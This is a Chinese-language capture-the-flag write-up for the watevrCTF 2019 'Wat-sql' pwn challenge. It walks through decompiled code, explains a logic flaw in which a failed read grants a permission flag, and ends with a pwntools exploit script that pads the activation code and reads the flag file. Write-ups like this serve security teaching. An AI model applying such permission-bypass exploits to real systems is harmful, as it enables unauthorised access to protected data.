NSSCTF [watevrCTF 2019]Wat-sql
90.[watevrCTF 2019]Wat-sql(逻辑漏洞)
[watevrCTF 2019]Wat-sql
(1)
1.准备
motaly@motaly-VMware-Virtual-Platform:~$ file sql
sql: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=69633004c9f0c7a83f48dd5d1bdad5b617795c81, stripped
motaly@motaly-VMware-Virtual-Platform:~$ checksec --file=sql
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH No Symbols No 0 3 sql
开了Canary和NX保护
2.ida分析
main函数
void __fastcall main(int a1, char **a2, char **a3)
{s2 = (char *)malloc(0x20uLL);signal(14, (__sighandler_t)handler);alarm(0x28u);sub_40128B();if ( *((_DWORD *)s2 + 8) != 7955827 )exit(0);puts("Welcome to wat-sql!");puts("This project was made as an extention to the super successful project, sabataD!");puts("Valid queries are read, write. You are only allowed to access /home/ctf/database.txt!");sub_40115F();
}
看到这里开头有一个sub_40128B函数
只有满足sub_40128B函数中的限制条件后,才会继续运行程序
最后运行sub_40115F函数
sub_40128B函数
int sub_40128B()
{printf("%s", "Demo activation code: ");fflush(stdout);fgets(s2, 36, stdin);if ( !strcmp("watevr-sql2019-demo-code-admin", s2) && *((_DWORD *)s2 + 8) == 7955827 )return puts("Demo access granted!");elsereturn puts("Demo access not granted!");
}
这里先是一个读取,读取最大36个字符给s2
在下面是if判断
先比较s2是否与watevr-sql2019-demo-code-admin是否相同
在验证s2的第33-36位是否为7955827(0x796573)
(第33-36位的原因是:
这里把s2转换成DWORD*
类型(4 字节指针),并偏移8个DWORD(即 32 字节),*((_DWORD *)s2 + 8)
指向s2 + 8×4 = s2 + 32
(第 33 字节))
知识点:
DWORD
是一个 typedef 类型,在不同的编程环境下,其具体定义可能有所不同,但一般而言:
- 它表示 “双字”(Double Word)。
- 长度为 32 位,也就是 4 字节,相当于
unsigned int
。 - 若代码中采用
_DWORD
这种写法,往往是自定义的类型别名,例子:
typedef unsigned int _DWORD; // 32位无符号整数
DWORD*
是指向DWORD
类型的指针,它具备以下特点:
- 内存访问:借助该指针能够访问 4 字节的数据。
- 指针运算:当指针进行加减操作时,步长为 4 字节。
- 常见用途:多用于处理二进制数据、内存块或者 32 位数值数组。
sub_40115F函数
void sub_40115F()
{while ( 1 ){while ( 1 ){printf("%s", "Query: ");fflush(stdout);fgets(haystack, 20, stdin);if ( !strstr(haystack, "read") )break;if ( ++dword_602100 > 2 ){printf("You have exhausted the request limit for your wat-sql demo!");__asm { retn }}sub_400E30();}if ( strstr(haystack, "write") ){sub_400FB7();if ( ++dword_602100 > 2 ){printf("You have exhausted the request limit for your wat-sql demo!");__asm { retn }}}else{puts("Unrecognised command!");}}
}
这里进入循环,有一个读取输入点给haystack,选择read还是write,并会记录两者的总调用次数,超过两次会拒绝访问
先看选择read时,会调用sub_400E30函数
再看选择write时,会调用sub_400FB7函数
read
int sub_400E30()
{int result; // eaxprintf("%s", "database to read from: ");fflush(stdout);fgets(name, 100, stdin);strtok(name, "\n");if ( (strstr(name, "flag") || strchr(name, 42) || strchr(name, 63)) && !dword_6020FC ){result = puts("You are not allowed access to that database!");dword_6020FC = 0;}else{dword_6020FC = 1;if ( access(name, 0) == -1 ){return puts("Tried to open non-existing database");}else{printf("%s", "database to read: ");fflush(stdout);fgets(nptr, 7, stdin);dword_6022A0 = atoi(nptr) + 1;pthread_create(&th, 0LL, start_routine, 0LL);result = pthread_join(th, 0LL);dword_6020FC = 0;}}return result;
}
先读取一个输入给name,并移除换行符
在下面用if判断对读取的name进行判断
第一条:
检查name中是否有flag,是否有字符*(42 是*
的 ASCII 码值),是否有字符?(63 是?
的 ASCII 码值),三个条件中的任意一个满足,结果就为真
第二条:
检查权限状态,!dword_6020FC
意味着当该变量的值为 0 时,结果就为真
这里会有三种情况:
1.无权限(dword_6020FC=0),无限制字符,会是这里
{return puts("Tried to open non-existing database");}
2.无权限(dword_6020FC=0),输入限制字符,会是这里
{result = puts("You are not allowed access to that database!");dword_6020FC = 0;}
3.只有有权限(dword_6020FC=1),再输入限制字符,才会到下面输入flag,得到flag数据库中的内容
else{printf("%s", "database to read: ");fflush(stdout);fgets(nptr, 7, stdin);dword_6022A0 = atoi(nptr) + 1;pthread_create(&th, 0LL, start_routine, 0LL);result = pthread_join(th, 0LL);dword_6020FC = 0;}
这个函数的这里是整个程序的关键
else{dword_6020FC = 1;if ( access(name, 0) == -1 ){return puts("Tried to open non-existing database");}
是一个逻辑漏洞
当我们没有输入上面的限制字符,只是没有权限(也就是随便输入了一段字符串)时,就会到这里,他直接给了权限
dword_6020FC = 1;
此时我们再次选择read函数,并且输入flag,有了权限,会跳转到这里
else{printf("%s", "database to read: ");fflush(stdout);fgets(nptr, 7, stdin);dword_6022A0 = atoi(nptr) + 1;pthread_create(&th, 0LL, start_routine, 0LL);result = pthread_join(th, 0LL);dword_6020FC = 0;}
我们输入flag,就会读取flag值
write
int sub_400FB7()
{int result; // eaxprintf("%s", "database to write to: ");fflush(stdout);fgets(name, 100, stdin);strtok(name, "\n");if ( (strstr(name, "flag") || strchr(name, 42) || strchr(name, 63)) && !dword_6020FC ){result = puts("You are not allowed access to that database!");dword_6020FC = 0;}else{dword_6020FC = 1;if ( access(name, 0) == -1 ){return puts("Tried to open non-existing database");}else{printf("%s", "Database to write to: ");fflush(stdout);fgets(nptr, 8, stdin);printf("%s", "Data to write: ");fflush(stdout);fgets(s_0, 200, stdin);dword_6022A0 = atoi(nptr);return pthread_create(&newthread, 0LL, sub_400CE0, 0LL);}}return result;
}
这里跟read调用的函数差不多,只不过这里是写入,不是读取,所以这里没什么用
3.EXP
思路:
主要用选择read,调用的函数里存在的逻辑漏洞,来读取flag
1.先绕过选择之前的限制
2.选择read,随便输入一个name值,触发漏洞,获得权限
3.再次选择read,输入flag,进入最后的读取,输入flag,得到flag值
先输入watevr-sql2019-demo-code-admin和7955827(0x796573)绕过限制
payload=b'watevr-sql2019-demo-code-admin'+p64(0x796573)
io.sendlineafter(b'Demo activation code:',payload)
发现这里输入没绕过限制
我们地址的输入点是第33字节,这里提前了两位,所以加两位填充
接着按思路写入
payload=b'watevr-sql2019-demo-code-admin\x00\x00'+p64(0x796573)
io.sendlineafter(b'Demo activation code:',payload)io.sendlineafter(b'Query:',b'read')
io.sendline(b'aaaa')
io.sendlineafter(b'Query:',b'read')
io.sendlineafter(b'database to read from:',b'flag')
io.sendafter(b'database to read:',b'flag')
脚本
from pwn import *
context.log_level = "debug"
# io=remote('node5.anna.nssctf.cn',24724)
io= process('/home/motaly/sql')payload=b'watevr-sql2019-demo-code-admin\x00\x00'+p64(0x796573)
io.sendlineafter(b'Demo activation code:',payload)io.sendlineafter(b'Query:',b'read')
io.sendline(b'aaaa')
io.sendlineafter(b'Query:',b'read')
io.sendlineafter(b'database to read from:',b'flag')
io.sendafter(b'database to read:',b'flag')
io.interactive()
这题我本地没通,但远程是通的,连通后随便输入一个值,就能得到flag